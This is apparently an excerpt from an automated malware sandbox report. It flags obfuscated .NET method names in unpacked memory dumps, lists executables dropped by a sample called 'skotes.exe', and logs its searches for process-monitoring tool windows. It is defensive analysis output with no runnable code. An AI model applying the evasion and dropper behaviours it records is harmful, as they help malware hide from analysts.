Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 20.2.6454cda0dd.exe.44d0680.0.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 20.2.6454cda0dd.exe.4414e60.1.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 20.2.6454cda0dd.exe.5cf0000.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
